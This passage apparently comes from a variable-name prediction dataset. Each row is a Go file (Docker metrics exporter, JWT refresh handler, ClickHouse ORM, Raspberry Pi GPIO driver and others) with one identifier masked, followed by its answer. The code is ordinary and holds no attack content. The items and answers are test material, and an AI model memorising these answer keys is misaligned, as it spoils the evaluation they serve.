'errorDir', 'logDir', 'logLvl'. func SetConfig(key string, value interface{}) error { isDir := false switch key { case ""glimsDir"": v, ok := value.(string) if !ok { return errors.New(""glimsDir requires a string value"") } config.glimsDir = v isDir = true case ""importDir"": v, ok := value.(string) if !ok { return errors.New(""importDir requires a string value"") } config.importDir = v isDir = true case ""processedDir"": v, ok := value.(string) if !ok { return errors.New(""processedDir requires a string value"") } config.processedDir = v isDir = true case ""errorDir"": v, ok := value.(string) if !ok { return errors.New(""errorDir requires a string value"") } config.errorDir = v isDir = true case ""logDir"": v, ok := value.(string) if !ok { return errors.New(""logDir requires a string value"") } config.logDir = v isDir = true case ""logPrefix"": v, ok := value.(string) if !ok { return errors.New(""logPrefix requires a string value"") } config.logPrefix = v case ""logLvl"": v, ok := value.(uint8) if !ok { // Attempt repair for non-uint8 int's val, ok := value.(int) v = uint8(val) if !ok { return errors.New(""logLvl requires an integer value (int or uint8)"") } } if _, [MASK] := levelNames[v]; ! [MASK] { return errors.New(""logLvl requires a valid log level, use 0 (DEBUG), 1 (INFO), 2 (WARN), 3 (ERROR), or 4 (CRITICAL)"") } config.logLvl = v default: return fmt.Errorf(""unknown config key (%s): use 'glimsDir', 'importDir', 'processedDir', 'errorDir', 'logDir', 'logPrefix', or 'logLvl'"", key) } // Check directory existence only for path keys if isDir { if _, err := os.Stat(value.(string)); os.IsNotExist(err) { return fmt.Errorf(""cannot find or access directory: %s"", value) } } return nil } // GetConfig retrieves the configuration value associated with the given key. // Available keys are: 'glimsDir', 'importDir', 'processedDir', 'errorDir', 'logDir', 'logLvl'. // Returns the configuration value and a nil error if the key is found, // otherwise returns nil and an error indicating that the key is unknown. func GetConfig(key string) (interface{}, error) { switch key { case ""glimsDir"": return config.glimsDir, nil case ""importDir"": return config.importDir, nil case ""processedDir"": return config.processedDir, nil case ""errorDir"": return config.errorDir, nil case ""logDir"": return config.logDir, nil case ""logPrefix"": return config.logPrefix, nil case ""logLvl"": return config.logLvl, nil default: return nil, fmt.Errorf(""unknown config key (%s): use 'glimsDir', 'importDir', 'processedDir', 'errorDir', 'logDir', logPrefix, or 'logLvl'"", key) } } ",exists 706,"package basic import ( ""context"" ""fmt"" ""io"" ""time"" ) const expectedLogMsg = ""Hello World"" func (s *Suite) TestLogs() { const namePrefix = ""logs"" ctx := context.Background() // Create a new instance target, err := s.Knuu.NewInstance(namePrefix + ""-target"") s.Require().NoError(err) // Set the image and start command to generate logs s.Require().NoError(target.Build().SetImage(ctx, alpineImage)) s.Require().NoError(target.Build().SetStartCommand(""sh"", ""-c"", fmt.Sprintf(""while true; do echo '%s'; sleep 1; done"", expectedLogMsg))) s.Require().NoError(target.Build().Commit(ctx)) s.Require().NoError(target.Execution().Start(ctx)) // Wait for a short duration to allow log generation time.Sleep(5 * time.Second) logStream, err := target.Monitoring().Logs(ctx) s.Require().NoError(err) defer logStream.Close() logs, err := io.ReadAll(logStream) s.Require().NoError(err) [MASK] := string(logs) s.Contains( [MASK] , expectedLogMsg) } ",logOutput 707,"/* Copyright 2023 codestation Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""context"" ""flag"" ""log"" ""net/http"" ""os"" ""os/signal"" ""github.com/docker/docker/api/types"" docker ""github.com/docker/docker/client"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/collectors"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ) var listenAddr = flag.String(""listen.addr"", "":8000"", ""Listen address"") func main() { flag.Parse() cli, err := docker.NewClientWithOpts(docker.FromEnv, docker.WithAPIVersionNegotiation()) if err != nil { log.Fatalf(""Failed to connect to Docker: %s"", err) } defer func(cli *docker.Client) { err := cli.Close() if err != nil { log.Printf(""Failed to close docker client: %s"", err) } }(cli) [MASK] := prometheus.NewRegistry() counter := prometheus.NewCounterVec(prometheus.CounterOpts{ Name: ""docker_events"", Help: ""Number of docker container events"", }, []string{""type"", ""action"", ""scope"", ""from"", ""name"", ""namespace"", ""service_name"", ""node_id"", ""service_id""}) [MASK] .MustRegister( collectors.NewGoCollector(), collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), counter, ) http.Handle(""/metrics"", promhttp.HandlerFor( [MASK] , promhttp.HandlerOpts{Registry: [MASK] })) httpServer := http.Server{Addr: *listenAddr} connClose := make(chan struct{}) ctx, cancel := context.WithCancel(context.Background()) defer cancel() go func() { eventsChan, errChan := cli.Events(ctx, types.EventsOptions{}) for { select { case event := <-eventsChan: switch event.Type { case ""container"": switch event.Action { case ""die"": // do not report containers that exited correctly if event.Actor.Attributes[""exitCode""] == ""0"" { continue } fallthrough case ""oom"": fallthrough case ""kill"": counter.WithLabelValues( event.Type, event.Action, event.Scope, event.Actor.Attributes[""image""], event.Actor.Attributes[""name""], event.Actor.Attributes[""com.docker.stack.namespace""], event.Actor.Attributes[""com.docker.swarm.service.name""], event.Actor.Attributes[""com.docker.swarm.node.id""], event.Actor.Attributes[""com.docker.swarm.service.id""], ).Inc() } } case err := <-errChan: log.Printf(""Error while reading event: %s"", err) return } } }() go func() { sigint := make(chan os.Signal, 1) signal.Notify(sigint, os.Interrupt) <-sigint if err := httpServer.Shutdown(ctx); err != nil { log.Printf(""HTTP Server Shutdown failed: %v"", err) } close(connClose) }() if err := httpServer.ListenAndServe(); err != http.ErrServerClosed { log.Printf(""HTTP Server failed: %v"", err) } <-connClose } ",reg 708,"// Copyright (C) 2024 The go-mysql Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package auth import ( ""regexp"" ""github.com/cybergarage/go-authenticator/auth/tls"" ) type certificateAuthenticator struct { commonNameRegexp []*regexp.Regexp } // CertificateAuthenticatorOption is a function to set the certificate authenticator options. type CertificateAuthenticatorOption = func(*certificateAuthenticator) error // WithCertificateAuthenticatorCommonName sets the common name. func WithCommonNameRegexp(regexps ...string) CertificateAuthenticatorOption { return func(ca *certificateAuthenticator) error { for _, re := range regexps { r, err := regexp.Compile(re) if err != nil { return err } ca.commonNameRegexp = append(ca.commonNameRegexp, r) } return nil } } // NewCertificateAuthenticator returns a new certificate authenticator with the options. func NewCertificateAuthenticator(opts ...CertificateAuthenticatorOption) (CertificateAuthenticator, error) { ca := &certificateAuthenticator{ commonNameRegexp: []*regexp.Regexp{}, } for _, opt := range opts { if err := opt(ca); err != nil { return nil, err } } return ca, nil } // VerifyCertificate verifies the client certificate. func (ca *certificateAuthenticator) VerifyCertificate(conn tls.Conn) (bool, error) { [MASK] := conn.ConnectionState() for _, cert := range [MASK] .PeerCertificates { for _, re := range ca.commonNameRegexp { if re.MatchString(cert.Subject.CommonName) { return true, nil } } } return false, nil } ",state 709,"// Copyright 2020 Google LLC // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""bytes"" ""context"" ""fmt"" ""io/ioutil"" ""log"" ""os"" ""os/exec"" ""path/filepath"" ""regexp"" ""time"" pack ""github.com/buildpacks/pack/pkg/client"" ""github.com/buildpacks/pack/pkg/logging"" ) const ( image = ""conformance-test-func"" defaultBuilderURLTemplate = ""us-docker.pkg.dev/serverless-runtimes/google-22-full/builder/%s:%s"" gcfTargetPlatform = ""gcf"" ) type buildpacksFunctionServer struct { functionOutputFile string source string target string funcType string runtime string runtimeVersion string tag string ctID string logStdout *os.File logStderr *os.File stdoutFile string stderrFile string builderURL string envs []string } func (b *buildpacksFunctionServer) Start(stdoutFile, stderrFile, functionOutputFile string) (func(), error) { b.functionOutputFile = functionOutputFile b.stdoutFile = stdoutFile b.stderrFile = stderrFile typ := *functionSignature if typ == ""legacyevent"" { typ = ""event"" } ctx := context.Background() if err := b.build(ctx); err != nil { return nil, fmt.Errorf(""building function container: %v"", err) } shutdown, err := b.run() if err != nil { return nil, fmt.Errorf(""running function container: %v"", err) } return shutdown, nil } func (b *buildpacksFunctionServer) OutputFile() ([]byte, error) { cmd := exec.Command(""docker"", ""cp"", filepath.Join(fmt.Sprintf(""%s:/workspace"", b.containerID()), b.functionOutputFile), os.TempDir()) output, err := cmd.CombinedOutput() if err != nil { return nil, fmt.Errorf(""failed to copy output file from the container: %v: %s"", err, string(output)) } return ioutil.ReadFile(filepath.Join(os.TempDir(), filepath.Base(b.functionOutputFile))) } func (b *buildpacksFunctionServer) build(ctx context.Context) error { builder, err := b.buildpackBuilderImage() if err != nil { return err } cmd := exec.Command(""docker"", ""pull"", builder) output, err := cmd.CombinedOutput() if err != nil { return fmt.Errorf(""failed to pull builder image %s: %v: %s"", builder, err, string(output)) } logger := logging.NewLogWithWriters(os.Stdout, os.Stderr, logging.WithVerbose()) packClient, err := pack.NewClient(pack.WithLogger(logger)) if err != nil { return fmt.Errorf(""getting pack client: %v"", err) } err = packClient.Build(ctx, pack.BuildOptions{ Image: image, Builder: builder, AppPath: b.source, Registry: """", Env: map[string]string{ ""GOOGLE_FUNCTION_TARGET"": b.target, ""GOOGLE_FUNCTION_SIGNATURE_TYPE"": b.funcType, ""GOOGLE_RUNTIME"": b.runtime, ""GOOGLE_RUNTIME_VERSION"": b.runtimeVersion, ""X_GOOGLE_TARGET_PLATFORM"": gcfTargetPlatform, }, }) if err != nil { return fmt.Errorf(""building function image: %v"", err) } return nil } var runtimeLanguageRegexp = regexp.MustCompile(`^[a-zA-Z]+`) func (b *buildpacksFunctionServer) buildpackBuilderImage() (string, error) { if b.builderURL != """" { return b.builderURL, nil } runtimeLanguage := runtimeLanguageRegexp.FindString(b.runtime) if runtimeLanguage == """" { return """", fmt.Errorf(""invalid runtime format. Runtime should start with language followed by version. Example: go119, python311. Got %q"", b.runtime) } return fmt.Sprintf(defaultBuilderURLTemplate, runtimeLanguage, b.tag), nil } func (b *buildpacksFunctionServer) run() (func(), error) { // Create logs output files. var err error b.logStdout, err = os.Create(b.stdoutFile) if err != nil { return nil, err } b.logStderr, err = os.Create(b.stderrFile) if err != nil { return nil, err } var args = b.getDockerRunCommand() cmd := exec.Command(args[0], args[1:]...) err = cmd.Start() // TODO: figure out why this isn't picking up errors. if err != nil { return nil, err } // Give it some time to do its setup. time.Sleep(time.Duration(*startDelay) * time.Second) log.Printf(""Framework container %q started."", b.containerID()) return func() { if err := b.logs(); err != nil { log.Fatalf(""getting container logs: %v"", err) } log.Printf(""Wrote logs to %v and %v."", b.stdoutFile, b.stderrFile) if err := cmd.Process.Kill(); err != nil { log.Fatalf(""failed to kill process: %v"", err) } if err := b.killContainer(); err != nil { log.Fatalf(""failed to kill container: %v"", err) } log.Print(""Framework server shut down."") }, nil } func (b *buildpacksFunctionServer) getDockerRunCommand() []string { runtimeVars := []string{""docker"", ""run"", ""--network=host"", // TODO: figure out why these aren't getting set in the buildpack. ""--env=FUNCTION_TARGET="" + b.target, ""--env=FUNCTION_SIGNATURE_TYPE="" + b.funcType} for _, s := range b.envs { if s != """" { runtimeVars = append(runtimeVars, fmt.Sprintf(""--env=%s"", s)) } } return append(runtimeVars, image) } func (b *buildpacksFunctionServer) containerID() string { if b.ctID != """" { return b.ctID } cmd := exec.Command(""docker"", ""ps"", ""--latest"", ""--format"", ""{{.ID}}"") containerID, err := cmd.Output() if err != nil { log.Fatalf(""failed to get container ID: %v"", err) } b.ctID = string(bytes.TrimSpace(containerID)) return b.ctID } func (b *buildpacksFunctionServer) killContainer() error { cmd := exec.Command(""docker"", ""kill"", b.containerID()) output, err := cmd.CombinedOutput() if err != nil { return fmt.Errorf(""failed to kill the container %q: %v: %s"", b.containerID(), err, string(output)) } return nil } func (b *buildpacksFunctionServer) logs() error { defer b.logStdout.Close() defer b.logStderr.Close() args := []string{""docker"", ""logs"", b.containerID()} [MASK] := exec.Command(args[0], args[1:]...) [MASK] .Stdout = b.logStdout [MASK] .Stderr = b.logStderr err := [MASK] .Run() if err != nil { log.Fatalf(""failed to retrieve container logs: %v"", err) } return nil } ",logsCmd 710,"package main import ( ""context"" ""flag"" ""google.golang.org/grpc"" pb ""kitten/api/store"" ""kitten/pkg/store"" ""kitten/pkg/store/conf"" ""log"" ""net"" ) var ( configFile string ) func init() { flag.StringVar(&configFile, ""c"", ""../store.toml"", "" set store config file path"") } func main() { c, err := conf.NewConfig(configFile) if err != nil { log.Fatalf(""new config failed, err:%v"", err) } s, err := store.NewStore(c) if err != nil { log.Fatalf(""new store failed, err:%v"", err) } err = s.SetEtcd(context.Background()) if err != nil { log.Fatalf(""new store failed, err:%v"", err) } [MASK] , err := net.Listen(""tcp"", "":8086"") var opts []grpc.ServerOption grpcServer := grpc.NewServer(opts...) pb.RegisterStoreServer(grpcServer, store.NewStoreServer(s, c, nil)) grpcServer.Serve( [MASK] ) } ",lis 711,"package controllers import ( ""errors"" ""net/http"" ""github.com/Manuel-Leleuly/simple-iam/helpers"" ""github.com/Manuel-Leleuly/simple-iam/models"" ""github.com/gin-gonic/gin"" ""github.com/golang-jwt/jwt/v5"" ) func RefreshToken(d *models.DBInstance, c *gin.Context) (statusCode int, err error) { // get refresh token from header bearerToken := c.GetHeader(""Authorization"") refreshTokenString, err := helpers.GetTokenStringFromHeader(bearerToken) if err != nil { return refreshTokenFailed() } refreshToken, err := helpers.GetToken(refreshTokenString) if err != nil || !refreshToken.Valid { return refreshTokenFailed() } // get access token from refresh token refreshClaims, ok := refreshToken.Claims.(jwt.MapClaims) if !ok { return refreshTokenFailed() } accessTokenString, ok := (refreshClaims[""token""]).(string) if !ok { return refreshTokenFailed() } accessToken, err := helpers.GetToken(accessTokenString) if err != nil { return refreshTokenFailed() } // get id and email from access token accessClaims, ok := accessToken.Claims.(jwt.MapClaims) if !ok { return refreshTokenFailed() } [MASK] , ok := (accessClaims[""id""]).(string) if !ok { return refreshTokenFailed() } userEmail, ok := (accessClaims[""email""]).(string) if !ok { return refreshTokenFailed() } // generate new access and refresh tokens newAccessToken, err := helpers.CreateAccessToken(models.User{ Id: [MASK] , Email: userEmail, }) if err != nil { return refreshTokenFailed() } newRefreshToken, err := helpers.CreateRefreshToken(newAccessToken) if err != nil { return refreshTokenFailed() } // return the result c.JSON(http.StatusOK, gin.H{ ""data"": models.TokenResponse{ Status: ""success"", AccessToken: newAccessToken, RefreshToken: newRefreshToken, }, }) return http.StatusOK, nil } // helpers func refreshTokenFailed() (statusCode int, err error) { return http.StatusBadRequest, errors.New(""invalid refresh token"") } ",userId 712,"package clickhousex import ( ""database/sql"" ""errors"" ""fmt"" ""log"" ""net/url"" ""reflect"" ""strconv"" ""strings"" ) type BaseModel struct { Type reflect.Type Dsn string Pool *sql.DB Database string TableName string dbTags []string chTypes []string orderBy string } func NewBaseModel(dsn string, data interface{}) (*BaseModel, error) { model, _, e := NewBaseModelWithCreated(dsn, data) return model, e } func NewBaseModelWithCreated(dsn string, data interface{}) (*BaseModel, bool, error) { created := false t := reflect.TypeOf(data) url, e := url.Parse(dsn) if e != nil { log.Println(e) return nil, false, e } query := url.Query() m := &BaseModel{ Type: t, Dsn: dsn, Database: query.Get(""database""), TableName: ToTableName(t.Name()), } m.Pool, e = sql.Open(""clickhouse"", dsn) if e != nil { log.Println(e) return nil, false, e } //check data if t.Kind() == reflect.Ptr { return nil, false, errors.New(""data must be struct type"") } if t.NumField() == 0 { return nil, false, errors.New(""No field in data struct"") } indexes := make(map[string]string) for i := 0; i < t.NumField(); i++ { field := t.Field(i) if i == 0 { switch field.Type.Kind() { case reflect.Uint, reflect.Uint64, reflect.Uint32, reflect.Uint16, reflect.Int, reflect.Int64, reflect.Int32, reflect.Int16, reflect.String: default: return nil, false, errors.New(""The first field "" + field.Name + ""'s type must be one of uint,uint32,uint64,uint16,string"") } } //dbTag dbTag, ok := field.Tag.Lookup(""db"") if !ok { return nil, false, errors.New(""field "" + field.Name + "" has no `db` tag specified"") } if i == 0 && dbTag != ""id"" { return nil, false, errors.New(""The first field's `db` tag must be id"") } //index if index, ok := field.Tag.Lookup(""index""); ok { indexes[dbTag] = index } //chType chType, e := ToChType(field.Type) if e != nil { log.Println(e) return nil, false, fmt.Errorf(""Field %s:%w"", field.Name, e) } m.dbTags = append(m.dbTags, dbTag) m.chTypes = append(m.chTypes, chType) //order by if _, ok := field.Tag.Lookup(""orderby""); ok { m.orderBy = dbTag } } columns, e := DescTable(m.Pool, m.Database, m.TableName) if e != nil && !strings.Contains(e.Error(), ""doesn't exist"") { log.Println(e) return nil, false, e } if len(columns) == 0 { //create table e = m.createTable(indexes) if e != nil { log.Println(e) return nil, false, e } created = true } else { // remote column check if len(m.dbTags) != len(columns) { return nil, false, errors.New(""Inconsistent field number with remote columns: local="" + strconv.Itoa(len(m.dbTags)) + "", remote="" + strconv.Itoa(len(columns))) } for i, db := range m.dbTags { column := columns[i] if db != column.Name { return nil, false, errors.New(""Field["" + strconv.Itoa(i) + ""] "" + db + "" name doesn't match remote column:"" + column.Name) } dbType := m.chTypes[i] remoteType := column.Type if dbType != remoteType { return nil, false, errors.New(""Field["" + strconv.Itoa(i) + ""] "" + db + ""'s type '"" + dbType + ""' doesn't match remote type:"" + remoteType) } } } return m, created, nil } func (b *BaseModel) createTable(indexes map[string]string) error { query := b.GetCreateTableSQL(indexes) _, e := b.Pool.Exec(query) if e != nil { return fmt.Errorf(""%w: %s"", e, query) } return nil } func (b *BaseModel) GetCreateTableSQL(indexes map[string]string) string { builder := new(strings.Builder) builder.WriteString(`create table ` + b.Database + `.` + b.TableName + ` (`) for i, dbTag := range b.dbTags { builder.WriteString(dbTag + "" "") builder.WriteString(b.chTypes[i]) if i < len(b.dbTags)-1 { builder.WriteString("","") } } for k := range indexes { builder.WriteString(`,index index_` + k + ` ` + k + ` type minmax granularity 32`) } builder.WriteString(`) engine=MergeTree()`) if b.orderBy != """" { builder.WriteString(` order by ` + b.orderBy) } builder.WriteString(` primary key ` + b.dbTags[0]) return builder.String() } // GetInsertSQL returns insert SQL without returning id func (b *BaseModel) GetInsertSQL() ([]int, string) { builder := new(strings.Builder) builder.WriteString(`insert into ` + b.Database + `.` + b.TableName + ` (`) values := new(strings.Builder) values.WriteString(""values ("") argsIndex := []int{} for i, dbTag := range b.dbTags { argsIndex = append(argsIndex, i) builder.WriteString(dbTag) values.WriteString(""?"") if i < len(b.dbTags)-1 { builder.WriteString("","") values.WriteString("","") } } builder.WriteString("")"") values.WriteString("")"") builder.WriteString(values.String()) return argsIndex, builder.String() } // GetSelectSQL returns fieldIndexes, and select SQL func (b *BaseModel) GetSelectSQL() ([]int, string) { builder := new(strings.Builder) builder.WriteString(`select `) fieldIndexes := []int{} for i, dbTag := range b.dbTags { builder.WriteString(dbTag) fieldIndexes = append(fieldIndexes, i) if i < len(b.dbTags)-1 { builder.WriteString("","") } } builder.WriteString("" from "" + b.TableName) return fieldIndexes, builder.String() } // InsertAll inserts vs ([]*struct or []struct type) func (b *BaseModel) InsertAll(vs interface{}) error { //validate sliceValue := reflect.ValueOf(vs) t := sliceValue.Type() if t.Kind() != reflect.Slice { return errors.New(""Insert value is not an slice type:"" + t.String()) } t = t.Elem() if t.Kind() == reflect.Ptr { t = t.Elem() } if t.String() != b.Type.String() { return errors.New(""Wrong insert type:"" + t.String() + "" for table "" + b.TableName) } //prepare argsIndex, query := b.GetInsertSQL() tx, e := b.Pool.Begin() if e != nil { return e } stmt, e := tx.Prepare(query) if e != nil { return e } defer stmt.Close() //exec for i := 0; i < sliceValue.Len(); i++ { value := sliceValue.Index(i) if value.Kind() == reflect.Ptr { value = value.Elem() } //args args := []interface{}{} for _, j := range argsIndex { v := value.Field(j).Interface() if value.Field(j).Kind() == reflect.Uint { v = uint64(v.(uint)) } args = append(args, v) } _, e := stmt.Exec(args...) if e != nil { return fmt.Errorf(""insert failed when insert %v:%w"", value.Interface(), e) } } //commit e = tx.Commit() if e != nil { return e } return nil } // Find finds a document (*struct type) by id func (b *BaseModel) Find(id interface{}) (interface{}, error) { //scan v := reflect.New(b.Type) fieldIndexes, query := b.GetSelectSQL() fieldArgs := []interface{}{} for _, i := range fieldIndexes { fieldArgs = append(fieldArgs, v.Elem().Field(i).Addr().Interface()) } query = query + ` where ` + b.dbTags[0] + `=?` e := b.Pool.QueryRow(query, id).Scan(fieldArgs...) if e != nil { if e == sql.ErrNoRows { return nil, e } return nil, fmt.Errorf(""%w:%s"", e, query) } return v.Interface(), nil } // FindWhere finds a document (*struct type) that matches 'where' condition func (b *BaseModel) FindWhere(where string, args ...interface{}) (interface{}, error) { //where where = toWhere(where) //scan v := reflect.New(b.Type) fieldIndexes, query := b.GetSelectSQL() query = query + where fieldArgs := []interface{}{} for _, i := range fieldIndexes { fieldArgs = append(fieldArgs, v.Elem().Field(i).Addr().Interface()) } e := b.Pool.QueryRow(query, args...).Scan(fieldArgs...) if e != nil { if e == sql.ErrNoRows { return nil, e } return nil, fmt.Errorf(""%w:%s"", e, query) } return v.Interface(), nil } // QueryWhere queries documents ([]*struct type) that matches 'where' condition func (b *BaseModel) QueryWhere(where string, args ...interface{}) (interface{}, error) { where = toWhere(where) fieldIndexes, query := b.GetSelectSQL() //query query = query + where rows, e := b.Pool.Query(query, args...) if e != nil { return nil, fmt.Errorf(""%w:%s"", e, query) } vs := reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(b.Type)), 0, 2) for rows.Next() { v := reflect.New(b.Type) fieldArgs := []interface{}{} for _, i := range fieldIndexes { fieldArgs = append(fieldArgs, v.Elem().Field(i).Addr().Interface()) } e = rows.Scan(fieldArgs...) if e != nil { break } vs = reflect.Append(vs, v) } // check err if [MASK] := rows.Close(); [MASK] != nil { return nil, fmt.Errorf(""rows.Close() err:%w"", [MASK] ) } if e != nil { return nil, e } if e = rows.Err(); e != nil { return nil, e } return vs.Interface(), nil } func (b *BaseModel) Exists(id interface{}) (bool, error) { //scan num := 0 query := `select 1 from ` + b.TableName + ` where ` + b.dbTags[0] + `=? limit 1` e := b.Pool.QueryRow(query, id).Scan(&num) if e != nil { if e == sql.ErrNoRows { return false, nil } return false, fmt.Errorf(""%w:%s"", e, query) } return num > 0, nil } func (b *BaseModel) ExistsWhere(where string, args ...interface{}) (bool, error) { //where where = toWhere(where) //scan num := 0 query := `select 1 from ` + b.TableName + where + ` limit 1` e := b.Pool.QueryRow(query, args...).Scan(&num) if e != nil { if e == sql.ErrNoRows { return false, nil } return false, fmt.Errorf(""%w:%s"", e, query) } return num > 0, nil } func (b *BaseModel) CountWhere(where string, args ...interface{}) (int64, error) { where = toWhere(where) //scan var num int64 query := `select count() as count from ` + b.TableName + where e := b.Pool.QueryRow(query, args...).Scan(&num) if e != nil { return 0, fmt.Errorf(""%w:%s"", e, query) } return num, nil } func (b *BaseModel) UpdateSet(sets string, where string, args ...interface{}) (int64, error) { where = toWhere(where) query := `update ` + b.TableName + ` set ` + sets + where result, e := b.Pool.Exec(query, args...) if e != nil { return 0, fmt.Errorf(""%w:%s"", e, query) } return result.RowsAffected() } func (b *BaseModel) Clear() error { query := `truncate table ` + b.TableName _, e := b.Pool.Exec(query) if e != nil { return fmt.Errorf(""%w:%s"", e, query) } return nil } func (b *BaseModel) Truncate() error { return b.Clear() } func (b *BaseModel) Delete(id interface{}) (int64, error) { query := `delete from ` + b.TableName + ` where ` + b.dbTags[0] + `=?` result, e := b.Pool.Exec(query, id) if e != nil { return 0, fmt.Errorf(""%w:%s"", e, query) } return result.RowsAffected() } func (b *BaseModel) DeleteWhere(where string, args ...interface{}) (int64, error) { where = toWhere(where) query := `delete from ` + b.TableName + where result, e := b.Pool.Exec(query, args...) if e != nil { return 0, fmt.Errorf(""%w:%s"", e, query) } return result.RowsAffected() } ",closeErr 713,"package gpio // Based on https://github.com/stianeikeland/go-rpio import ( ""sync"" ""unsafe"" ""syscall"" ""os"" ""encoding/binary"" ""bytes"" ""reflect"" ""time"" ) // Memory offsets for gpio, see the spec for more details const ( bcm2835Base = 0x20000000 pi1GPIOBase = bcm2835Base + 0x200000 memLength = 4096 pinMask uint32 = 7 // 0b111 - pinmode is 3 bits ) type gpio struct { memlock sync.Mutex mem []uint32 mem8 []uint8 } func (g *gpio)Pin(n int) Pin { return Pin{Gpio:g, No:n} } func (g *gpio)Close() (error) { g.memlock.Lock() defer g.memlock.Unlock() return syscall.Munmap(g.mem8) } func OpenWith(mem, ranges string) (g Gpio, err error) { var file *os.File var base int64 gpio := &gpio{} g = gpio // Open fd for rw mem access; try gpiomem first file, err = os.OpenFile(mem, os.O_RDWR | os.O_SYNC, 0) base = getGPIOBase(ranges) if err != nil { return } // FD can be closed after memory mapping defer file.Close() gpio.memlock.Lock() defer gpio.memlock.Unlock() // Memory map GPIO registers to byte array gpio.mem8, err = syscall.Mmap( int(file.Fd()), base, memLength, syscall.PROT_READ | syscall.PROT_WRITE, syscall.MAP_SHARED) if err != nil { return } // Convert mapped byte memory to unsafe []uint32 pointer, adjust length as needed header := *(*reflect.SliceHeader)(unsafe.Pointer(&gpio.mem8)) header.Len /= (32 / 8) // (32 bit = 4 bytes) header.Cap /= (32 / 8) gpio.mem = *(*[]uint32)(unsafe.Pointer(&header)) return } // Open and memory map GPIO memory range from /dev/mem . // Some reflection magic is used to convert it to a unsafe []uint32 pointer func OpenDefault() (g Gpio, e error) { g, e = OpenWith(""/dev/mem"", ""/proc/device-tree/soc/ranges"") return } // Read /proc/device-tree/soc/ranges and determine the base address. // Use the default Raspberry Pi 1 base address if this fails. func getGPIOBase(rangesFile string) (base int64) { base = pi1GPIOBase ranges, err := os.Open(rangesFile) defer ranges.Close() if err != nil { return } b := make([]byte, 4) n, err := ranges.ReadAt(b, 4) if n != 4 || err != nil { return } buf := bytes.NewReader(b) var out uint32 err = binary.Read(buf, binary.BigEndian, &out) if err != nil { return } return int64(out + 0x200000) } // PinMode sets the direction of a given pin (Input or Output) func (g *gpio)PinMode(pin int, direction Direction) { // Pin fsel register, 0 or 1 depending on bank fsel := uint8(pin) / 10 shift := (uint8(pin) % 10) * 3 g.memlock.Lock() defer g.memlock.Unlock() if direction == Input { g.mem[fsel] = g.mem[fsel] &^ (pinMask << shift) } else { g.mem[fsel] = (g.mem[fsel] &^ (pinMask << shift)) | (1 << shift) } } // WritePin sets a given pin High or Low // by setting the clear or set registers respectively func (g *gpio)WritePin(pin int, state State) { p := uint8(pin) // Clear register, 10 / 11 depending on bank // Set register, 7 / 8 depending on bank clearReg := p / 32 + 10 setReg := p / 32 + 7 g.memlock.Lock() defer g.memlock.Unlock() if state == Low { g.mem[clearReg] = 1 << (p & 31) } else { g.mem[setReg] = 1 << (p & 31) } } // Read the state of a pin func (g*gpio)ReadPin(pin int) State { // Input level register offset (13 / 14 depending on bank) levelReg := uint8(pin) / 32 + 13 if (g.mem[levelReg] & (1 << uint8(pin))) != 0 { return High } return Low } // Toggle a pin state (high -> low -> high) // TODO: probably possible to do this much faster without read func (g*gpio)TogglePin(pin int) { switch g.ReadPin(pin) { case Low: g.WritePin(pin, High) case High: g.WritePin(pin, Low) } } func (g*gpio)PullMode(pin int, pull Pull) { // Pull up/down/off register has offset 38 / 39, pull is 37 [MASK] := uint8(pin) / 32 + 38 pullReg := 37 shift := (uint8(pin) % 32) g.memlock.Lock() defer g.memlock.Unlock() switch pull { case PullDown, PullUp: g.mem[pullReg] = g.mem[pullReg] &^ 3 | uint32(pull) case PullOff: g.mem[pullReg] = g.mem[pullReg] &^ 3 } // Wait for value to clock in, this is ugly, sorry :( time.Sleep(time.Microsecond) g.mem[ [MASK] ] = 1 << shift // Wait for value to clock in time.Sleep(time.Microsecond) g.mem[pullReg] = g.mem[pullReg] &^ 3 g.mem[ [MASK] ] = 0 } ",pullClkReg 714,"package main import ( ""cpj/cp"" ""cpj/stack"" ""errors"" ""flag"" ""fmt"" ""log"" ""os"" ""path/filepath"" ""strings"" ""sync"" ) type copyJob struct { mu sync.Mutex src, dest *stack.Stack } type copyError struct { id int src, dest string err error } var debug bool func main() { var jobs int var link, recurse, useful, cont, verbose bool flag.BoolVar(&link, ""link"", false, ""Hard link copied files if able."") flag.BoolVar(&recurse, ""recurse"", false, ""Recurse the supplied directory."") flag.BoolVar(&useful, ""useful"", false, ""Print some useful statisitcs."") flag.BoolVar(&cont, ""continue"", false, ""Continue parallel copy even if individual file errors occur."") flag.BoolVar(&verbose, ""verbose"", false, ""Provide verbose messages. Implies -useful."") flag.BoolVar(&debug, ""debug"", false, ""Print debug messages. Implies -verbose."") flag.IntVar(&jobs, ""jobs"", 1, ""Specify the number of jobs to run in parallel."") flag.Parse() args := flag.Args() if debug { verbose = true } if verbose { useful = true } if len(args) < 2 { fmt.Println(""Usage: cpj.go [-link] [-recurse] [-useful] [-continue] [-jobs n] src dest"") flag.PrintDefaults() os.Exit(1) } err := parallelCopy(args[0], args[1], link, recurse, useful, cont, verbose, jobs) if err != nil { log.Fatal(err) } } func parallelCopy(src, dest string, hardlink, recurse, useful, cont, verbose bool, jobs int) error { var [MASK] , destFiles stack.Stack var count int // Get the absolute paths to src and dest. If src is a single file, just call cp.CopyFile srcAbs, err := 